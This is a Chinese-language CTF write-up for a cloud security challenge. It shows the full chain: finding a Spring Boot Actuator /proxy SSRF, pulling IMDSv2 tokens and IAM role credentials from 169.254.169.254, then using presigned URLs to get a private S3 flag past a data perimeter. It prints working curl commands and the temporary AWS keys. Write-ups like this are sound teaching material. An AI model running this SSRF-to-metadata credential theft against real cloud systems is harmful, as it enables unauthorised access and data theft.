MANESEC on 2025-08-19
根據官方的約定,所有的 writeup 需要延遲一個月發佈,未來如果有寫 writeup 的話就都需要延遲一個月發佈啦。
Link: https://cloudsecuritychampionship.com/challenge/1
After weeks of exploits and privilege escalation you've gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.
It won't be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.
Good luck!
「瞎忙活了好幾個禮拜,又是鑽洞又是爬牆的,總算讓你給混進了你朝思暮想的最後一台主機啦。
你現在就指望著靠這台破機器,去一個叫『S3』的大桶子裡,把那個神祕的小旗子給摳出來。
不過齁,事情可沒你想得那麼簡單。
對方那個龜孫子弄了個什麼『AWS 資料金鐘罩』,把桶子裡的寶貝給護得死死的。
兄弟,你好自為之吧!」
回到終端,在終端中告訴了一串 URL 的地址:
You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
Weeks on the wire, chasing a ghost in the code Landed on the final server, a breath I'm holding tight Just a secret flag to pull from the bucket's fading light They said a data perimeter, an Amazon Web Services iron wall A challenge waiting for the fall Found the Spring Boot door, a whisper in the noise Poking at the endpoints, searching for a voice A single word, "actuator," unlocks the hidden map The proxy's open waiting, a carefully laid trap This perimeter's leaking, I can feel the pressure drop Through the proxy's lens, the network starts to bend A server-side request, a message I can send To that magic local address, where metadata sleeps A whisper for a token, for the secrets that it keeps Got the role name shining, a key to fit the lock Got the keys to the kingdom, a temporary crown Access ID shining, gonna take the barrier down The secret and the session, a fleeting, potent spark To list the files inside the bucket, a beacon in the dark This perimeter's breached now, the firewall's just a name Hello, world, in a text file, a simple, taunting sign But the private folder's silent, the flag will not be mine Access is denied now, a wall I didn't see Was it all for nothing? This final, bitter plight? Staring at the failure in the pale screen's lonely light One last trick to play here, a signature in flight A presigned URL forged, to bring the prize to light Through the SSRF proxy, the final call is made The perimeter's an illusion, a phantom I surpassed That access denied message was never meant to last The connection closes, the screen begins to fade The server whispers its secret, for only me to hear.
只是給了一條連接,而且暗示著是 Spring Boot Actuator application,所以大概找一下相關的信息:
https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
看到這三篇文章:
這三篇文章暗示著後面加上 /actuator 會有東西,所以試試看:
$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator | jq
其中這些就是支援的 endpoint :
{
"_links": {
"self": {
"href": "http://127.0.0.1:8080/actuator",
"templated": false
},
"beans": {
"href": "http://127.0.0.1:8080/actuator/beans",
"templated": false
},
"caches": {
"href": "http://127.0.0.1:8080/actuator/caches",
"templated": false
},
"caches-cache": {
"href": "http://127.0.0.1:8080/actuator/caches/{cache}",
"templated": true
},
"health": {
"href": "http://127.0.0.1:8080/actuator/health",
"templated": false
},
"health-path": {
"href": "http://127.0.0.1:8080/actuator/health/{*path}",
"templated": true
},
"info": {
"href": "http://127.0.0.1:8080/actuator/info",
"templated": false
},
"conditions": {
"href": "http://127.0.0.1:8080/actuator/conditions",
"templated": false
},
"configprops": {
"href": "http://127.0.0.1:8080/actuator/configprops",
"templated": false
},
"configprops-prefix": {
"href": "http://127.0.0.1:8080/actuator/configprops/{prefix}",
"templated": true
},
"env": {
"href": "http://127.0.0.1:8080/actuator/env",
"templated": false
},
"env-toMatch": {
"href": "http://127.0.0.1:8080/actuator/env/{toMatch}",
"templated": true
},
"loggers": {
"href": "http://127.0.0.1:8080/actuator/loggers",
"templated": false
},
"loggers-name": {
"href": "http://127.0.0.1:8080/actuator/loggers/{name}",
"templated": true
},
"threaddump": {
"href": "http://127.0.0.1:8080/actuator/threaddump",
"templated": false
},
"metrics-requiredMetricName": {
"href": "http://127.0.0.1:8080/actuator/metrics/{requiredMetricName}",
"templated": true
},
"metrics": {
"href": "http://127.0.0.1:8080/actuator/metrics",
"templated": false
},
"sbom": {
"href": "http://127.0.0.1:8080/actuator/sbom",
"templated": false
},
"sbom-id": {
"href": "http://127.0.0.1:8080/actuator/sbom/{id}",
"templated": true
},
"scheduledtasks": {
"href": "http://127.0.0.1:8080/actuator/scheduledtasks",
"templated": false
},
"mappings": {
"href": "http://127.0.0.1:8080/actuator/mappings",
"templated": false
}
}
}但是我想知道這個應用程序有什麽endpoint,那就可以使用 mappings ,所以:
$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings | jq
其中有一行是:
使用 /proxy 會有神奇的事情發生,參數是 url,所以:
$ curl 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=test'
$ curl 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=https://checkip.amazonaws.com'由於題目提到了 AWS,所以嘗試訪問容器專用的IP看看:
$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/
結果還真的有,那就是關於 AWS 的濫用了。
簡單介紹 AWS IMDS
當您在一個 EC2 執行個體上運行應用程式,而該應用程式需要存取像是 S3 儲存桶中的檔案、或是讀寫 DynamoDB 資料庫等其他 AWS 服務時,
latest/meta-data/iam/security-credentials提供了一種安全的方式來獲取必要的授權,而無需將永久性的存取金鑰(Access Key ID)和私密存取金鑰(Secret Access Key)硬式編碼(hardcode)在程式碼或設定檔中。運作原理
首先,管理員會在 AWS 的身份和存取管理(Identity and Access Management, IAM)服務中建立一個「角色」。這個角色會被授予一組特定的權限,例如「允許讀取某個 S3 儲存桶」。
在啟動 EC2 執行個體時,可以將先前建立的 IAM 角色附加到這個執行個體上。這意味著執行在該 EC2 上的任何應用程式,都有潛力獲得該角色所擁有的權限。
每個 EC2 執行個體內部都有一個特殊的本地服務,稱為 IMDS。可以透過一個固定的 IP 位址
169.254.169.254從執行個體內部存取,這個IP是固定的。這個服務儲存了關於該執行個體的各種元數據,包括其 ID、類型以及附加的 IAM 角色的安全憑證。當 EC2 內的應用程式需要存取其他 AWS 服務時,它可以向
http://169.254.169.254/latest/meta-data/iam/security-credentials/發出 HTTP 請求。IMDS 會回傳附加的 IAM 角色名稱。接著,應用程式再向http://169.254.169.254/latest/meta-data/iam/security-credentials/{角色名稱}發出請求,即可獲得一組臨時的安全憑證,這組安全憑證裏面包括AccessKeyId,SecretAccessKey,Token。最後就可以根據返回的臨時憑證存取其他資源。
注意的地方
您可以把 IMDS 想像成一個身分驗證站。它能告訴您:「您現在的身分是『角色 A』」,並且給您一張臨時的通行證(Access Key、Secret Key、Session Token)。
然而,這張通行證上面並沒有寫明您可以去哪裡、可以做什麼。IMDS 本身並不知道也不儲存「角色 A」的權限政策(Permissions Policy)的具體內容。它只負責核發憑證。
由於什麽也沒有,那就參考這篇,申請一個token:
這裏用的是 PUT,所以對應應該是:
$ curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token'
AQAEAOVRNiz86zfvhtH-LqDGs0ny2f-BNRM7cV7mjasCF1tj03SFQg==這樣就得到了 token, 然後使用這個臨時的 token 就可以嘗試獲取節點的信息:
$ curl -H "X-aws-ec2-metadata-token: AQAEAOVRNiz86zfvhtH-LqDGs0ny2f-BNRM7cV7mjasCF1tj03SFQg==" 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/dynamic/instance-identity/document'{
"accountId" : "092297851374",
"architecture" : "x86_64",
"availabilityZone" : "us-east-1d",
"billingProducts" : null,
"devpayProductCodes" : null,
"marketplaceProductCodes" : null,
"imageId" : "ami-0953476d60561c955",
"instanceId" : "i-0bfc4291dd0acd279",
"instanceType" : "t3.medium",
"kernelId" : null,
"pendingTime" : "2025-06-09T15:28:30Z",
"privateIp" : "10.0.1.57",
"ramdiskId" : null,
"region" : "us-east-1",
"version" : "2017-09-30"
}% 可以看到位置在 us-east-1,那麽當前的角色名叫什麽呢?
$ curl -H "X-aws-ec2-metadata-token: AQAEAOVRNiz86zfvhtH-LqDGs0ny2f-BNRM7cV7mjasCF1tj03SFQg==" 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
challenge01-5592368% 有了角色的名字是 challenge01-5592368,那麽就可以獲取臨時的憑證:
$ curl -H "X-aws-ec2-metadata-token: AQAEAOVRNiz86zfvhtH-LqDGs0ny2f-BNRM7cV7mjasCF1tj03SFQg==" 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368'
{
"Code" : "Success",
"LastUpdated" : "2025-08-10T18:57:06Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARK7LBOHXOHWCQVVZ",
"SecretAccessKey" : "/FYnU2kDusBGToUahzHq7Tx5B1ntraPnsZ/O6/Re",
"Token" : "IQoJb3JpZ2luX2VjEKP//////////wEaCXVzLWVhc3QtMSJHMEUCIAr/jZxey0bR+iMW2HUNbQYE3hingZYqzahVLZg1/C1TAiEA1jdAjrWTLmFksGZb4zrvHfCNjEXQGP252OTrgMXxC5cqwQUI3P//////////ARAAGgwwOTIyOTc4NTEzNzQiDIVzFVgBOVVJmXtBwSqVBUZ9PiOpzaxCdh5iW54dOr4QcTJIlDymwCK88rcduavDTkU6oiuLWkMFpHTpAnp2QfbPdkXg8OR650Cmptjm//l4CDQWCXd1ktXCTpxBAI1zapna3JDyBPkKopXfBqeLLeiSxnBkKSBN5RBYXSy4kjuHexzE/72/Wmu+o2z89g5DH8iFtZWcx0Db7xqkvA1Br+mh1eemQZEGHA1So61FfAfbQoMgQ3Pw7PMxHhevW1LUH98F2gYckpDU7NRzJYSnSyHzZobvVtwAIv0wGV0rwlHEOZ32iMY+EQoRphFHFxt7B8/HTvUwB/nF/ZClIdeDFjMVmMQfwq0t+aGVZbSLwctIoh6MXBAXblnULubZhYB16UPulKL4xKPxfB0RrGv98mmyRBRGfo1kMeRn2bnNjzab+p03Ee9+fDZfRVVCsN4veVixXDqfO0vcEfhKHG1dUxByu8QdRfGYJQSXuHs6L6LsHhUljO35Wf1O0atQORpBzRBPJmG4J9uor0q95mgSZUyTQdCLoVBooE1+1gYHIcomiCQTsQ1hq1V5wWdNAUPZ/DqwCfHrCefErjobsOlYPOzvEPyfpG0NeoYT9qT4msUEg3gCBlpT0q7B/cL/a38DX/rSBfifePlAOYTstXY9f4ATY+dBFrQmU40N/W8fDuSjxm0x+eCt+5sMSEFqQJ0LfVcnRx2WpIW1SrCA6jz4QWeaLVZCGNOPaKGhGwb0XrX3RIXbS77TbJuiQsP7yS8tuQh3kTuwZzAwQYDtMsfJrsp2s+3FNJhb2yZYQG1VwXtetotCawNx402JmxIm6hK+V+0OPPzc64T7Jvy7KZExGI6pCRI0mG0QToB48cdHOSLaArDf/VmwY4rTdvIVcOtF3J3nXTYw2dbjxAY6sQFIsBTjRX+9QtW4NHy9itUqvwVpsm8tptqAIAbNWLUXq3Y02+U2fyoIDtjKItFP2MGb5vK37tiT0Qmbdrnd6DQmH7MS4LrkZdnvAojM5iVt8Tae2Ce6+/zw4J+1+PDjyFdwheWUxmzd7ZMQm3jE1r8IsOH4dDYCLcXEF0ovrLzwmnZ6mTzaQqGFdHUk4SvYzdnoO8jMjgz2ZbnphDrcsHUTeDMlWfdcwtdlOoUEWd/3IO0=",
"Expiration" : "2025-08-11T01:21:10Z"
}% 把上面的内容使用變量存著,然後使用 aws來列出 bucket:
$ export AWS_DEFAULT_REGION="us-east-1"
$ export AWS_ACCESS_KEY_ID="ASIARK7LBOHXOHWCQVVZ"
$ export AWS_SECRET_ACCESS_KEY="/FYnU2kDusBGToUahzHq7Tx5B1ntraPnsZ/O6/Re"
$ export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEKP//////////wEaCXVzLWVhc3QtMSJHMEUCIAr/jZxey0bR+iMW2HUNbQYE3hingZYqzahVLZg1/C1TAiEA1jdAjrWTLmFksGZb4zrvHfCNjEXQGP252OTrgMXxC5cqwQUI3P//////////ARAAGgwwOTIyOTc4NTEzNzQiDIVzFVgBOVVJmXtBwSqVBUZ9PiOpzaxCdh5iW54dOr4QcTJIlDymwCK88rcduavDTkU6oiuLWkMFpHTpAnp2QfbPdkXg8OR650Cmptjm//l4CDQWCXd1ktXCTpxBAI1zapna3JDyBPkKopXfBqeLLeiSxnBkKSBN5RBYXSy4kjuHexzE/72/Wmu+o2z89g5DH8iFtZWcx0Db7xqkvA1Br+mh1eemQZEGHA1So61FfAfbQoMgQ3Pw7PMxHhevW1LUH98F2gYckpDU7NRzJYSnSyHzZobvVtwAIv0wGV0rwlHEOZ32iMY+EQoRphFHFxt7B8/HTvUwB/nF/ZClIdeDFjMVmMQfwq0t+aGVZbSLwctIoh6MXBAXblnULubZhYB16UPulKL4xKPxfB0RrGv98mmyRBRGfo1kMeRn2bnNjzab+p03Ee9+fDZfRVVCsN4veVixXDqfO0vcEfhKHG1dUxByu8QdRfGYJQSXuHs6L6LsHhUljO35Wf1O0atQORpBzRBPJmG4J9uor0q95mgSZUyTQdCLoVBooE1+1gYHIcomiCQTsQ1hq1V5wWdNAUPZ/DqwCfHrCefErjobsOlYPOzvEPyfpG0NeoYT9qT4msUEg3gCBlpT0q7B/cL/a38DX/rSBfifePlAOYTstXY9f4ATY+dBFrQmU40N/W8fDuSjxm0x+eCt+5sMSEFqQJ0LfVcnRx2WpIW1SrCA6jz4QWeaLVZCGNOPaKGhGwb0XrX3RIXbS77TbJuiQsP7yS8tuQh3kTuwZzAwQYDtMsfJrsp2s+3FNJhb2yZYQG1VwXtetotCawNx402JmxIm6hK+V+0OPPzc64T7Jvy7KZExGI6pCRI0mG0QToB48cdHOSLaArDf/VmwY4rTdvIVcOtF3J3nXTYw2dbjxAY6sQFIsBTjRX+9QtW4NHy9itUqvwVpsm8tptqAIAbNWLUXq3Y02+U2fyoIDtjKItFP2MGb5vK37tiT0Qmbdrnd6DQmH7MS4LrkZdnvAojM5iVt8Tae2Ce6+/zw4J+1+PDjyFdwheWUxmzd7ZMQm3jE1r8IsOH4dDYCLcXEF0ovrLzwmnZ6mTzaQqGFdHUk4SvYzdnoO8jMjgz2ZbnphDrcsHUTeDMlWfdcwtdlOoUEWd/3IO0="
$ aws s3 ls s3://challenge01-470f711成功的列出之後,嘗試下載 hello.txt:
$ aws s3 cp s3://challenge01-470f711/hello.txt .
$ cat hello.txt結果成功了,但是旁邊還有一個 /private/的目錄,卻沒有辦法下載:
$ aws s3 ls s3://challenge01-470f711/private/
$ aws s3 cp s3://challenge01-470f711/private/flag.txt . 由於無法使用臨時的token下載,所以可以預簽名,然後通過SSRF的方式查看:
$ aws s3 presign s3://challenge01-470f711/private/flag.txt --expires-in 600
然後把上面的内容 URL Encode 一下之後,使用 SSRF 訪問一下就能得到 flag:
$ curl 'https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=https%3A%2F%2Fchallenge01%2D470f711%2Es3%2Eus%2Deast%2D1%2Eamazonaws%2Ecom%2Fprivate%2Fflag%2Etxt%3FX%2DAmz%2DAlgorithm%3DAWS4%2DHMAC%2DSHA256%26X%2DAmz%2DCredential%3DASIARK7LBOHXOHWCQVVZ%252F20250810%252Fus%2Deast%2D1%252Fs3%252Faws4%5Frequest%26X%2DAmz%2DDate%3D20250810T191421Z%26X%2DAmz%2DExpires%3D60%26X%2DAmz%2DSignedHeaders%3Dhost%26X%2DAmz%2DSecurity%2DToken%3DIQoJb3JpZ2luX2VjEKP%252F%252F%252F%252F%252F%252F%252F%252F%252F%252FwEaCXVzLWVhc3QtMSJHMEUCIAr%252FjZxey0bR%252BiMW2HUNbQYE3hingZYqzahVLZg1%252FC1TAiEA1jdAjrWTLmFksGZb4zrvHfCNjEXQGP252OTrgMXxC5cqwQUI3P%252F%252F%252F%252F%252F%252F%252F%252F%252F%252FARAAGgwwOTIyOTc4NTEzNzQiDIVzFVgBOVVJmXtBwSqVBUZ9PiOpzaxCdh5iW54dOr4QcTJIlDymwCK88rcduavDTkU6oiuLWkMFpHTpAnp2QfbPdkXg8OR650Cmptjm%252F%252Fl4CDQWCXd1ktXCTpxBAI1zapna3JDyBPkKopXfBqeLLeiSxnBkKSBN5RBYXSy4kjuHexzE%252F72%252FWmu%252Bo2z89g5DH8iFtZWcx0Db7xqkvA1Br%252Bmh1eemQZEGHA1So61FfAfbQoMgQ3Pw7PMxHhevW1LUH98F2gYckpDU7NRzJYSnSyHzZobvVtwAIv0wGV0rwlHEOZ32iMY%252BEQoRphFHFxt7B8%252FHTvUwB%252FnF%252FZClIdeDFjMVmMQfwq0t%252BaGVZbSLwctIoh6MXBAXblnULubZhYB16UPulKL4xKPxfB0RrGv98mmyRBRGfo1kMeRn2bnNjzab%252Bp03Ee9%252BfDZfRVVCsN4veVixXDqfO0vcEfhKHG1dUxByu8QdRfGYJQSXuHs6L6LsHhUljO35Wf1O0atQORpBzRBPJmG4J9uor0q95mgSZUyTQdCLoVBooE1%252B1gYHIcomiCQTsQ1hq1V5wWdNAUPZ%252FDqwCfHrCefErjobsOlYPOzvEPyfpG0NeoYT9qT4msUEg3gCBlpT0q7B%252FcL%252Fa38DX%252FrSBfifePlAOYTstXY9f4ATY%252BdBFrQmU40N%252FW8fDuSjxm0x%252BeCt%252B5sMSEFqQJ0LfVcnRx2WpIW1SrCA6jz4QWeaLVZCGNOPaKGhGwb0XrX3RIXbS77TbJuiQsP7yS8tuQh3kTuwZzAwQYDtMsfJrsp2s%252B3FNJhb2yZYQG1VwXtetotCawNx402JmxIm6hK%252BV%252B0OPPzc64T7Jvy7KZExGI6pCRI0mG0QToB48cdHOSLaArDf%252FVmwY4rTdvIVcOtF3J3nXTYw2dbjxAY6sQFIsBTjRX%252B9QtW4NHy9itUqvwVpsm8tptqAIAbNWLUXq3Y02%252BU2fyoIDtjKItFP2MGb5vK37tiT0Qmbdrnd6DQmH7MS4LrkZdnvAojM5iVt8Tae2Ce6%252B%252Fzw4J%252B1%252BPDjyFdwheWUxmzd7ZMQm3jE1r8IsOH4dDYCLcXEF0ovrLzwmnZ6mTzaQqGFdHUk4SvYzdnoO8jMjgz2ZbnphDrcsHUTeDMlWfdcwtdlOoUEWd%252F3IO0%253D%26X%2DAmz%2DSignature%3D23746c164df67d88aee3a071d29cb19793b7069ae65dd11406f823a14925f8de'The flag is: WIZ_CTF_******************_Everywhere
如果你喜歡這個系列,那就多分享給你的好朋友吧 ~!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Copyright © 2016-2026 manesec. All rights (include theme) reserved.